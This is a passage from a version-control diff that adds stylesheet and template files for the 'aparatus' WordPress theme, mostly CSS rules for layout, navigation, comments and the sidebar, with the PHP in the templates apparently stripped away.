#d9d9d9; + border-bottom-color: #d9d9d9; +} +.wnnNavStretch{ + border-width:1px 0; + border-style:solid; + border-color:#e6e6e6; + clear: both; + padding-left: 12px; + margin-bottom: 7px; +} +.wnnHeaderNav{ + height:27px; + position:relative; + min-width:984px; + margin:0 auto; +} +.wnnHeaderNav li{ + font-weight:bold; + font-size: 10px; +} +.wnnHeaderNav li a, +.wnnHeaderNav li a:visited{ + color:#ca0002; + text-decoration:none; + text-transform:uppercase; + line-height:25px; +} +.wnnHeaderNav li a:hover{ + color:#fff; + background:#ca0002; +} +.wnnHeaderNav li a.wnnCurPage{ + color:#fff; + background:#ca0002; +} +.wnnHeaderNav li a.wnnCurPage:visited{ + color:#fff; +} +.wnnHeaderNav ul.wnnUtilityNavigation, +.wnnHeaderNav ul.wnnNavigation{ + margin:0; + padding:0; + list-style:none; + position:absolute; + white-space:nowrap; +} +.wnnHeaderNav ul.wnnNavigation{ + left:0; +} +.wnnHeaderNav ul.wnnNavigation li{ + float:left; + border-width:0 1px 0 0; + border-style:solid; + border-color:#e6e6e6; +} +.wnnHeaderNav ul.wnnNavigation li a{ + padding:0 6px; + width:auto; + height:25px; + margin:1px; + display:block; + vertical-align:middle; +} +* html .wnnHeaderNav ul.wnnNavigation li a{ + width:25px; +} +* html .wnnHeaderNav li{ + font-size:11px; +} +* html .wnnHeaderNav ul.wnnNavigation li a{ + padding:0 4px 0 5px; +} +* html .wnnHeaderNav ul.wnnUtilityNavigation li a{ + padding:0 12px 0 7px; +} +#leftt{ + width: 12px; +} +#rss{ + margin-left: 6px; +} +#pages{ + padding-left: 12px; + font-size: 11pt; + margin-bottom: 12px; +} +#pages ul{ + padding: 0; + margin: 0; +} +#pages ul li{ + display: inline; + list-style: none; + padding: 0 3px; +} +#pages ul li a{ + color: #004276; + font-weight: bold; + font-size: 10pt; + text-decoration: none; +} +#pages ul li a:hover{ + color: #004276; + font-weight: bold; + font-size: 10pt; + text-decoration: underline; +} +#pgtitle{ + color: #ca0002; + font-weight: bold; + font-size: 10pt; +} +#main{ + width: 985px; + margin-left: auto; + margin-right: auto; + clear: both; +} +#left{ + width: 622px; + float: left; + margin-bottom: 25px; +} +#right{ + width: 355px; + float: right; + margin-bottom: 25px; +} +#exctop{ + width: 602px; + height: 24px; + background: url("images/exctop.jpg") no-repeat; + padding: 10px 10px 0 10px; + font-size: 12px; + font-weight: bold; +} +#info{ + color: #949494; + width: 330px; + float: left; +} +#homepage{ + color: #004276; + width: 265px; + float: right; + text-align: right; +} +#exccontent{ + background: url("images/featuredbg.jpg") repeat-y; + width: 603px; + padding: 18px; + padding-right: 0; +} +#excpost{ + width: 267px; + margin-right: 18px; + float: left; +} +#recentposts{ + width: 285px; + float: right; + margin-left: 18px; +} +h3 a{ + color: #004276; + font-family: Arial; + font-weight: bold; + font-size: 22px; +} +#excpost p{ + font-size: 12px; + font-weight: lighter; +} +#full{ + color: #004276; + font-size: 12px; +} +#h4{ + color: #000000; + font-weight: bold; + font-size: 16px; +} +#recentposts ul{ + list-style: url("images/bullet2.jpg"); + margin: 0px; +} +#recentposts li{ + margin: 0; +} +#recentposts ul li a{ + color: #004276; + font-weight: bolder; + font-size: 13px; + text-decoration: none; +} +#recentposts ul li a:hover{ + text-decoration: underline; +} +#clear{ + clear: both; +} +#adsfooter{ + clear: both; + background: url("images/adsfooter.jpg") no-repeat; + width: 468px; + height: 89px; + padding: 29px 81px 0 73px; +} +#featured_video{ + background: url("images/featuredvideo.jpg") no-repeat; + width: 333px; + height: 333px; + padding: 11px; +} +#rtop{ + width: 354px; + height: 11px; + background: url("images/rtop.jpg") no-repeat; + margin-top: 15px; +} +#rmid{ + width: 335px; + background: #ffffff; + padding-left: 9px; + padding-right: 9px; + border-left: 1px solid #dadada; +} +#ourlinkstop{ + background: url("images/ourlinkstop.jpg") no-repeat; + width: 336px; + height: 45px; +} +#links{ + width: 336px; + background: url("images/rmid.jpg") repeat-y; +} +#links ul{ + list-style: none; + padding: 0; + margin: 0; + padding-bottom: 20px; +} +#links li{ + list-style: none; + padding-top: 5px; + padding-bottom: 10px; + margin-left: 10px; + margin-right: 10px; + /*border-top: solid 1px #dfdfdf; + border-bottom: solid 1px #ffffff;*/ + background: url("images/border-bottom-li.jpg") repeat-x; + background-position: bottom; +} +#links li a{ + color: #4b4b4b; + text-decoration: none; + font-size: 14px; + font-weight: normal; +} +#links li a:hover{ + color: #ca0002; + text-decoration: underline; + font-size: 14px; + font-weight: normal; +} +#bottomm{ + background: url("images/lbottom.jpg") no-repeat; + width: 335px; + height: 23px; +} +#topp{ + background: url("images/topp.jpg") no-repeat; + width: 335px; + height: 23px; +} +#rbottom{ + background: url(images/rbottom.jpg) no-repeat; + width: 354px; + height: 11px; +} +#midd{ + width: 336px; + background: url("images/rmid.jpg") repeat-y; +} +#midda table{ + text-align: center; + padding: 15px; + width: 336px; +} +#midda table td{ + padding: 10px; +} +#midda{ + width: 336px; + background: url("images/rmida.jpg") repeat-y; +} +#archivestop{ + background: url("images/archivestop.jpg") no-repeat; + width: 336px; + height: 45px; +} +#rcomments{ + background: url("images/rcommentstop.jpg") no-repeat; + width: 336px; + height: 45px; +} +#metatop{ + background: url("images/metatop.jpg") no-repeat; + width: 336px; + height: 45px; +} +#postinfotop{ + background: url("images/postinfotop.jpg") no-repeat; + width: 602px; + height: 24px; + font-size: 12px; + font-weight: bold; + color: #949494; + padding: 10px 10px 0 10px; +} +#post{ + margin-top: 10px; + color: #414141; + font-size: 12px; +} +#postcontent{ + width: 591px; + border-left: 1px #dadada solid; + background: #ffffff; + padding: 15px; + clear: both; +} +#h3 a{ + font-weight: bold; + font-size: 24px; + color: #cc0000; + text-decoration: none; +} +#h3 a:hover{ + text-decoration: underline; +} +#postbottom{ + background: url("images/postbottom.jpg") no-repeat; + width: 601px; + height: 21px; + text-align: right; + font-size: 11px; + font-weight: bold; + padding-top: 7px; + padding-right: 20px; + border-left: 1px #dadada solid; + color: #949494; + clear: both; +} +#postbottom a{ + color: #cc0000; + text-decoration: none; +} +#postbottom a:hover{ + text-decoration: underline; +} +#footer{ + clear: both; + width: 984px; + text-align: center; + margin-left: auto; + margin-right: auto; + color: #aaaaaa; + font-size: 12px; +} +#footertop{ + width: 984px; + height: 56px; + background: url("images/footertop.jpg") no-repeat; + padding-top: 17px; +} +#footer a{ + color: #004276; + text-decoration: none; +} +#footer a:hover{ + color: #ca0002; +} + +#footer a:focus{ + outline-style: none; + outline-width: medium; +} +#footerbottom{ + width: 744px; + height: 42px; + background: url(images/footerbottom.jpg) no-repeat; + margin-bottom: 20px; + padding-left: 240px; + padding-top: 10px; +} +#commentss{ + margin-left: 5px; + background: #fafafa; + padding: 15px; + margin-top: 25px; + border-left: solid 5px #004276; +} +.commentlist li{ + background: #f3f3f3; + list-style: none; + padding: 8px; + border: 1px solid #bfbfbf; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,14 @@ + +
    +
    +Sorry - the page you're looking for doesn't exist +
    +
    +Try Going Back Home +
    + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,64 @@ + +
    + +
    +Archives for: +
    + + +
    + + +
    + +
    + + + +
    + + + + + 'thumbs-in-archive')); ?> + +ID, 'image', true) ) {?> + + <?php the_title(); ?> + + + +
    + +
    +
    +By with +
    + + + + + + + + + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/author.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/author.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,67 @@ + +
    + + + +
    +Below are first_name; ?>'s Articles: +
    + + +
    + + +
    + +
    + + + +
    + + + + + 'thumbs-in-archive')); ?> + +ID, 'image', true) ) {?> + + <?php the_title(); ?> + + + +
    + +
    +
    +By with +
    + + + + + + + + + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/black.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/black.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,289 @@ +/* CSS Document */ + +/* -------------------------------------------------------------- + + Theme Name: aparatus + Theme URI: http://fearlessflyer.com + Description: Theme by Michael Soriano + Author: Michael Soriano + Author URI: http://fearlessflyer.com + Version: 0.1 + black + +-------------------------------------------------------------- */ +* {padding:0; margin:0;} +body {background:#bbbbbb; } +a {outline:none;} +a img {border:none;} + +.alignright {float:right;} +.alignleft {float:left;} +.alignnone {clear:both;} +.aligncenter {margin-left: auto; margin-right: auto;} + +blockquote {background:url(images/blockquote-bg.png) top left no-repeat; padding:5px 0 0 35px; font-family:georgia,'Lucida Grande','Lucida Sans Unicode'; font-style:italic;} + +img.alignright {display:inline;} +img.alignleft {display:inline;} +img.aligncenter {margin:0 auto; display:block;} +img.alignnone {clear:both;} + +#header {height:156px; clear:both; padding:70px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/header-bg.gif) no-repeat bottom left; position:relative;} +#twitter-badge {position:absolute; left:740px; top:-5px; background:url(images/twitter-badge-black.png); width:218px; height:139px;} +#twitter-badge a {display:block; width:218px; height:139px; text-indent:-9999px;} +a#logo {clear:both; font-size:98px; overflow:hidden; text-decoration:none; text-transform:uppercase; color:#000000;letter-spacing:-2px; display:inline; margin:0px; padding:0;} + +#wrap {width:940px; padding:0 49px 0 49px; margin:0 auto; text-align:center; background:url(images/wrap-bg.gif) repeat-y; overflow:hidden;} + +#navigation {clear:both; background:url(images/nav-bar-temp.png) no-repeat; height:64px; position:relative; top:-6px;} +#page-nav {height:25px; font-family:verdana, arial, helvetica; font-size:10px; font-weight:bold; padding:0 0 0 0;} +#page-nav ul li {float:left; list-style:none; padding:5px 25px 0 10px; display:block;} +#page-nav ul li a {text-decoration:none; color:#FFFFFF;} +#page-nav ul li a:hover {color:#ccc;} +#page-nav ul li#welcome {padding-left:10px; padding-right:25px;} +#page-nav ul li#welcome a {color:#000000;} +#page-nav ul li#welcome a:hover {color:#ccc;} +#page-nav ul li#welcome.current_page_item2 {background:url(images/page-tab.gif) no-repeat top right #b0b0b0; height:25px; color:#000000;} +#login {float:right; padding:3px 45px 0 0; text-transform:uppercase; background:url(images/user-silhouette.png) no-repeat; background-position:89px 0;} +#login a {color:#000000; text-decoration:none;} +#login a:hover {color:#ccc;} + + + +#nav2, #nav2 ul{padding: 0; float:left; list-style: none;} +#nav2 {padding:0; float:left;} +#nav2 a {display:block; font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; text-decoration:none; font-size:14px;} +#nav2 li {float:left; line-height:27px; padding:0 6px 0 6px; margin-right:3px; } + +#nav2 li a:hover {background: none;} +#nav2 li ul {position:absolute; width: 15em; left: -999em; padding-top:1px;} +#nav2 li:hover ul, #nav2 li.sfhover ul {left:auto; z-index:1000;} +#nav2 li ul.children li {background: #FFFFFF; border-bottom:1px solid #dedbd1; border-left:1px solid #dedbd1; border-right:1px solid #dedbd1; line-height:28px; width:15em;} +#nav2 li:hover, #nav2 li.hover {position: static;} +#nav2 li ul ul {margin: -29px 0 0 15em;} +#nav2 li:hover ul ul, #nav2 li.sfhover ul ul {left: -999em;} +#nav2 li:hover ul, #nav2 li li:hover ul, #nav2 li.sfhover ul, #nav2 li li.sfhover ul {left: auto;} +#nav2 li:hover ul ul, #nav2 li:hover ul ul ul, #nav2 li.sfhover ul ul, #nav2 li.sfhover ul ul ul {left: -999em;} +#nav2 li:hover ul, #nav2 li li:hover ul, #nav2 li li li:hover ul, #nav2 li.sfhover ul, #nav2 li li.sfhover ul, #nav2 li li li.sfhover ul {left: auto;} + +#cat-nav {clear:both; padding:0 0 0 7px;} +#cat-nav ul li.cat-item {background:url(images/cat-nav-bg.png) repeat-x; border-top:1px solid #999; border-right:1px solid #999; border-left:1px solid #999;} + +#cat-nav ul li.cat-item a {color:#000000; text-shadow:0 1px 0 #fff;} +#cat-nav ul li.cat-item a:hover {color:#ccc;} +#cat-nav ul li.cat-item.current-cat {background:url(images/cat-nav-current-bg-black.png) repeat-x;} +#cat-nav ul li.cat-item.current-cat a {color:#FFFFFF; text-shadow:none;} +#nav2 li ul.children li.cat-item.current-cat {background:#ffffff;} +#nav2 li ul.children li.cat-item.current-cat a{color:#000000; text-shadow:0 1px 0 #fff;} +#cat-nav ul li.cat-item.current-cat ul.children li a{color:#000000; text-shadow:0 1px 0 #fff;} + +/*single*/ +.main-container{width:590px; overflow:hidden; margin:20px 20px 20px 0; float:left; text-align:left; font-family:Arial, Helvetica, sans-serif; font-size:13px; position:relative;} +.main-container a {color:#000000; text-decoration:none;} +.main-container a:hover {color:#ccc; text-decoration:underline;} + +.title-area {padding:15px 10px 8px 10px; color:#000000; font-size:48px; text-transform:capitalize; background:#EEEEEE; border:1px solid #DDDDDD; margin-bottom:25px; } + +.retweet-btn-small {float:right; position:relative; top:6px; left:22px;} +.retweet-btn {float:right; padding:2px 3px 0 5px;} +.post-title {font-family:helvetica, arial; letter-spacing:-1px; font-size:24px; font-weight:bold; line-height:26px; margin-bottom:15px; text-transform:capitalize;} +.post-title a {text-decoration:none; color:#333333;} +.post-title a:hover {color:#ccc; text-decoration:underline;} +.post-title-big {font-size:48px; font-weight:normal; line-height:38px; margin-bottom:15px; text-transform:capitalize; text-indent:-8px;} +.post-title-big a {text-decoration:none; color:#000000;} +.post-title-big a:hover {text-decoration:none; color:#ccc;} +.post-meta-data {font-size:11px; color:#434343; text-transform:uppercase; font-family:georgia; margin-bottom:15px; } +img.thumbs-in-archive {float:right; padding:5px; border:1px solid #CCCCCC; margin:1px 0 0 15px;} +.post-excerpt {line-height:20px; height:85px; overflow:hidden; margin-bottom:22px;} +.post-content {clear:both; line-height:24px; margin-bottom:30px; overflow:hidden;} +.post-content a {background:#EEEEEE; text-shadow:0 1px 0 #fff;} +.post-content ol {padding:10px 0 10px 40px;} +.post-content ol li ol {padding-left:20px;} +.post-content ol li ul {padding-left:20px;} +.post-content ul {padding:10px 0 10px 40px;} +.post-content ul li ol {padding-left:20px;} +.post-content ul li ul {padding-left:20px;} +.post-content p {padding:0 0 15px 0;} +.post-content h1, .post-content h2, .post-content h3, .post-content h4, .post-content h5, .post-content h6 {font-size:24px; font-weight:normal; line-height:30px; padding-bottom:10px;} + +.wp-caption {padding:8px 3px 0px 3px; border:1px solid #eeeeee; text-align:center; margin:0 auto;} +.wp-caption.alignright {margin:8px 0 5px 15px;} +.wp-caption.alignleft {margin:8px 15px 5px 0;} +.wp-caption.aligncenter{clear:both; margin:15px auto; display:block; } +.wp-caption.alignnone {clear:both; margin:15px auto; display:block; } +p.wp-caption-text {text-align:center; font-family:georgia; font-style:italic; font-size:11px; line-height:13px;} + +.post-content img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content img.alignnone {clear:both; margin:10px auto; display:block; } +.post-content a img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content a img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content a img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content a img.alignnone {clear:both; margin:10px auto; display:block; } + +.post-content p img.alignright {display:inline; margin:20px 0 5px 20px;} +.post-content p img.alignleft {display:inline; margin:20px 20px 5px 0;} +.post-content p img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content p img.alignnone {clear:both; margin:10px auto; display:block; } +.post-content p a img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content p a img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content p a img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content p a img.alignnone {clear:both; margin:10px auto; display:block; } + +#page-links {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; margin:5px 0 30px 0; clear:both;} +#page-links a {padding:2px 4px; text-decoration:none; color: #ffffff; background-color: #000000; border: 1px solid #000000; text-shadow:none; } +#page-links a:hover {border: 1px solid #000000; background:#FFFFFF; color:#333333;} + +.author-box { background:#eee; border:1px solid #DDDDDD; padding:20px; margin-bottom:30px;} +.author-box img.avatar {float:left; border:1px solid #ccc; padding:3px; margin:1px 10px 0 0;} +.author-box .author-name {padding-bottom:0px; font-style:italic; font-weight:bold; font-size:24px; color:#000000;} +.author-box .author-description {font-family:verdana, arial, helvetica; font-size:11px; line-height:16px; color:#666666;} +.author-box .author-links {margin:14px 0 2px; font-family:georgia, arial, helvetica; text-transform:uppercase; font-size:11px; border-top:1px dashed #ccc; padding-top:14px;} +.author-box-small { background:#eee; border:1px solid #DDDDDD; padding:5px 10px 5px 5px; text-align:right; font-family:verdana, arial, helvetica; font-size:11px; margin-bottom:25px; text-shadow:0 1px 0 #fff;} + +.social-bar {background:url(images/spread-the-word.png) no-repeat top left; height:63px; text-align:right; margin:0 0 30px 0; position:relative;} +ul#social-btns {position:absolute; left:299px;} +ul#social-btns li {float:left; height:63px; list-style:none;} +ul#social-btns li a {height:63px; background:url(images/social-sprites.png); display:block; text-indent:9999px;} +ul#social-btns li a#delicious {width:68px; background-position:0 -66px;} +ul#social-btns li a:hover#delicious {width:68px; background-position:0 0;} +ul#social-btns li a#digg {width:52px; background-position:-68px -66px;} +ul#social-btns li a:hover#digg {width:52px; background-position:-68px 0;} +ul#social-btns li a#stumbleupon {width:58px; background-position:-120px -66px;} +ul#social-btns li a:hover#stumbleupon {width:58px; background-position:-120px 0;} +ul#social-btns li a#technorati{width:58px; background-position:-178px -66px;} +ul#social-btns li a:hover#technorati{width:58px; background-position:-178px 0;} +ul#social-btns li a#twitter {width:54px; background-position:-236px -66px;} +ul#social-btns li a:hover#twitter {width:54px; background-position:-236px 0;} +/*comments*/ + +#comments {padding:0 0 35px 0; } +#comments h3{text-align:left; font-size:48px; font-weight:normal; line-height:38px; color:#000000;} +img.avatar {float:left; padding:3px; border:1px solid #ccc; margin:0 10px 0 0;} +cite.fn a {font-family:georgia; font-style:normal; text-transform:uppercase; padding:0; color:#333333; text-decoration:none; font-size:11px;} +.comment-author {padding:0; line-height:14px;} +.comment-meta {font-family:'Trebuchet MS', verdana; font-size:11px; color:#666666; line-height:14px; padding-bottom:5px;} +.comment-meta a {color:#000000; font-weight:normal; text-decoration:none;} +.comment-body {margin-bottom:20px; padding:20px 20px 5px 20px; font-style:italic; font-family:'Lucida Grande','Lucida Sans Unicode','Trebuchet MS',verdana,georgia; overflow:hidden;} + +.comment-body p a {color:#000000; font-weight:bold; text-decoration:none;} +.comment-body p a:hover{text-decoration:underline;} +li.comment.even {background:#fff; border:1px solid #DDDDDD; margin-bottom:20px;} +li.comment.odd {background:#eee; border:1px solid #DDDDDD; margin-bottom:20px;} +ul.commentlist li {list-style:none;} +li.parent {padding-bottom:10px;} +.commentlist ul.children {margin:20px;} +.comment-meta .commentmetadata p a {color:#21759B; } +.reply {clear:both; border-top:1px dashed #ccc; padding-top:7px; margin-top:12px; text-align:right;} +a.comment-reply-link {color:#21759B; font-family:verdana; font-size:11px; padding:0 0 0 19px; background:url(images/arrow-135-medium.png) left no-repeat; } + +/*response*/ +h3#response-title {text-align:left; font-size:48px; font-weight:normal; line-height:38px; color:#000000; padding:15px 0 35px 0; } +h3#response-title a {color:#000000; text-decoration:none; text-transform:capitalize;} +a#cancel-comment-reply-link {padding:5px; background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; text-transform:uppercase; text-decoration:none;} +#commentform {padding:45px 25px 25px 25px; background:#fff; border:1px solid #DDDDDD; margin-bottom:25px;} +#commentform p {padding-bottom:5px;} +.comment-form-input-fields {padding:5px; margin-bottom:10px;} +.comment-form-labels {font-family:rockwell,georgia; font-weight:bold; color:#FFFFFF; width:162px; font-size:14px; padding:5px; text-transform:uppercase; background:url(images/comment-labels.gif) no-repeat top right #2b2b2b; } +.comment-form-labels small {font-family:Verdana, Arial, helvetica; font-size:9px; font-weight:normal;} +input.send-comment {background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; padding:5px;} + +/*snarfer specific*/ + +h3.tab-bars {clear:both; background:url(images/cat-nav-bg.png) repeat-x; height:22px; border:1px solid #e9e9e9; padding:5px 0 0 7px; margin-bottom:25px; } +h3.tab-bars a {font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; text-decoration:none; line-height:16px; font-size:14px; text-shadow:0 1px 0 #fff; color:#000000;} +h3.tab-bars a:hover {text-shadow:none; color:#ccc;} +.post-container {width:285px; float:left;} +.post-container.odd {margin-right:20px;} +.post-container .post-title-sm {font-size:17px; padding-bottom:10px; text-transform:capitalize; font-weight:bold;} +.post-container .post-title-sm a {text-decoration:none; color:#333333; } +.post-container .post-title-sm a:hover {text-decoration:underline; color:#ccc;} +.post-container .post-meta-data {font-size:11px; color:#434343; text-transform:uppercase; font-family:georgia; padding:0 0 5px 0; margin:0;} +.post-container img.thumbs {padding:5px; border:1px solid #CCCCCC; margin-bottom:10px;} +.post-container .post-excerpt-small {overflow:hidden; height:65px; font-size:12px; line-height:20px; margin-bottom:10px;} +.post-container .continue {background:#eee; border:1px solid #DDDDDD; padding:5px 10px 5px 5px; text-align:right; font-family:verdana, arial, helvetica; font-size:11px; margin-bottom:25px;} +.post-container .continue a {font-family:verdana, arial, helvetica; font-weight:bold; font-size:10px; color:#666666; text-decoration:none; text-shadow:0 1px 0 #fff; } +.post-container .continue a:hover {text-decoration:underline;} +#view-all {float:right; padding: 2px 4px; margin:20px 0 20px 0; background:#eee; border:1px solid #DDDDDD;} +#view-all a {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; color: #000000; text-decoration:none; text-shadow:0 1px 0 #fff;} +#view-all a:hover {text-decoration:underline;} + +/*sidebar*/ +#sidebar {width:330px; min-height:700px; overflow:hidden; float:left;} +#searchform {height:40px; background:#e5e5e5; text-align:left; margin-bottom:5px; border-bottom:1px solid #DDDDDD; border-right:1px solid #DDDDDD; border-left:1px solid #DDDDDD;} +input.inputs {margin:8px 0 0 24px;} +input.go {background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; } +#twitter-entry {background:url(images/twitter.gif); width:331px; height:91px; margin-bottom:10px;} +#twitter-entry p {font-family:verdana, helvetica, arial; font-size:11px; text-align:left; padding:20px 5px 0 100px; text-shadow:0 1px 0 #fff;} +#twitter-entry a {color:#000000; text-decoration:none;} +#twitter-entry a:hover {text-decoration:underline;} +#adblock-big {padding:15px 10px 15px 10px; background:#e5e5e5; margin-bottom:20px; border:1px solid #DDDDDD;} +#adblock-small {border:1px solid #DDDDDD; clear:both; background:#ededed; padding:20px 0 10px 28px; overflow:hidden; margin-bottom:20px;} +#adblock-small ul li {float:left; list-style:none; padding:10px 24px 10px 0;} +.sidebar-row{padding:25px 20px; background:#e5e5e5; margin-bottom:20px; border:1px solid #DDDDDD; text-align:left; font-family:verdana,arial,helvetica; font-size:11px; line-height:16px; text-shadow:0 1px 0 #fff;} +.sidebar-row h3 {font-size:32px; padding-bottom:10px;} +.sidebar-row ul {padding:0 10px 0 10px;} +.sidebar-row ul li{list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-black.gif) no-repeat; background-position:0 9px; padding-left:20px;} +.sidebar-row ul.children li {border-bottom:none;} +.sidebar-row a {color:#000000; text-decoration:none;} +.sidebar-row a:hover {text-decoration:underline; color:#ccc;} +.sidebar-row #calendar_wrap {background:#ffffff; border:1px solid #DDDDDD; padding:25px;} +.sidebar-row #calendar_wrap caption {font-weight:bold; padding-bottom:25px; font-size:20px; font-family:helvetica; text-shadow:0 1px 0 #fff;} +.sidebar-row table#wp-calendar {border-collapse:collapse; width:100%; text-align:center;} + +/*tabbed-menu*/ +#tabbed-container {border:1px solid #DDDDDD; clear:both; background:#ededed; padding:16px 0 20px 16px; height:364px; margin-bottom:20px; text-align:left; color:#666666; font-family:verdana,arial,helvetica; font-size:11px; line-height:16px;} +ul.mootabs_title {list-style-image: none; list-style-type: none; padding: 0px; height: 24px; font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; color:#000000; text-decoration:none; line-height:16px; font-size:14px; letter-spacing:-1px; text-shadow:0 1px 0 #fff;} +ul.mootabs_title li {float: left; display:block; padding:5px 7px 0 7px; height:22px; line-height:16px; margin-right:4px; cursor: pointer; background:url(images/cat-nav-bg.png) repeat-x; border-top:1px solid #DDDDDD; border-right:1px solid #DDDDDD; border-left:1px solid #DDDDDD; border-bottom:1px solid #CCCCCC;} +.mootabs_title li.active { background:url(images/cat-nav-current-bg-black.png); color:#FFFFFF; text-shadow:none; } +.mootabs_panel {display: none; position: relative; width:100%; top: 12px; clear: both; overflow: hidden;} +.mootabs_panel p {font-family:Arial, Helvetica, sans-serif; padding:25px; text-align:left;} +.mootabs_panel.active { background-color: #fff; display: block;} + +/*popular posts*/ +#Popular {padding:15px 25px 25px 25px; width:240px; border:1px solid #DDDDDD;} +#Popular a{text-decoration:none; color:#666666;} +#Popular a:hover{text-decoration:underline; color:#ccc;} +#Popular ul{padding:0 10px 0 0;} +#Popular ul li {list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-black.gif) no-repeat; background-position:0 9px; padding-left:20px;} +/*recent comments*/ +#RecentComments {padding:15px 25px 25px 25px; width:240px; font-weight:bold; color:#000000; border:1px solid #DDDDDD;} +#RecentComments a{text-decoration:none; color:#666666; font-weight:normal; padding-left:5px;} +#RecentComments a:hover{text-decoration:underline; color:#ccc;} +#RecentComments ul{padding:0 10px 0 0;} +#RecentComments ul li {list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-black.gif) no-repeat; background-position:0 9px; padding-left:20px;} +/*tag cloud*/ +#Tags {padding:15px 25px 25px 25px; width:240px; border:1px solid #DDDDDD;} +#Tags a {text-decoration:none; color:#666666;} +#Tags a:hover {text-decoration:underline; color:#ccc;} + +/*page-navi*/ + +.wp-pagenavi {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; float:right;} +.wp-pagenavi a, .wp-pagenavi a:link { padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #000000; color: #ffffff; background-color: #000000;} +.wp-pagenavi a:visited {padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #000000; color: #ffffff; background-color: #000000;} +.wp-pagenavi a:hover {border: 1px solid #000000; color: #000000; background-color: #FFFFFF;} +.wp-pagenavi a:active {padding:2px 4px; margin:2px; text-decoration: none; border: 1px solid #000000; background-color: #FFFFFF;} +.wp-pagenavi span.pages {padding: 2px 4px; margin: 2px; color: #000000; background:#eee; border:1px solid #DDDDDD; text-shadow:0 1px 0 #fff;} +.wp-pagenavi span.current {padding: 2px 4px; margin: 2px; font-weight: bold; background:#eee; border:1px solid #DDDDDD;} +.wp-pagenavi span.extend {padding: 2px 4px 2px 4px; margin: 2px; border: 1px solid #000000; color: #000000; background-color: #FFFFFF;} +.wp-pagenavi span.current a.page{color:#FFFFFF; } +.next-prev-links {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; float:right;} +.next-prev-links a {padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #000000; color: #ffffff; background-color: #000000;} + + + + +/*footer*/ +#footer {height:106px; clear:both; padding:40px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/footer-bg.gif) no-repeat top left; position:relative; +} +#logo-footer {text-transform:uppercase; color:#000000; font-size:30px; display:block; margin:18px 7px 2px 0; padding:0; clear:both; text-align:right;} +#page-nav-footer {float:right; text-align:right;} +#page-nav-footer ul li {float:left; list-style:none; line-height:8px; padding:0 8px 2px 8px; margin-bottom:3px; background:url(images/credits-sep.png) no-repeat top left;} +#page-nav-footer ul li.first {background:none;} +#page-nav-footer ul li a {font-family:verdana, helvetica, arial; font-size:11px; color:#000000; text-decoration:none; text-shadow:0 1px 0 #fff;} +#page-nav-footer ul li a:hover {text-decoration:underline;} +#credits {display:block; padding:2px 7px 0 0; clear:both; font-family:georgia; font-size:11px; text-shadow:0 1px 0 #fff; display:block; text-align:right;} +#credits a{color:#000000; text-decoration:none;} +#credits a:hover {color:#666666;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/blue.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/blue.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,289 @@ +/* CSS Document */ + +/* -------------------------------------------------------------- + + Theme Name: aparatus + Theme URI: http://fearlessflyer.com + Description: Theme by Michael Soriano + Author: Michael Soriano + Author URI: http://fearlessflyer.com + Version: 0.1 + blue + +-------------------------------------------------------------- */ +* {padding:0; margin:0;} +body {background:#f1f5fc; } +a {outline:none;} +a img {border:none;} + +.alignright {float:right;} +.alignleft 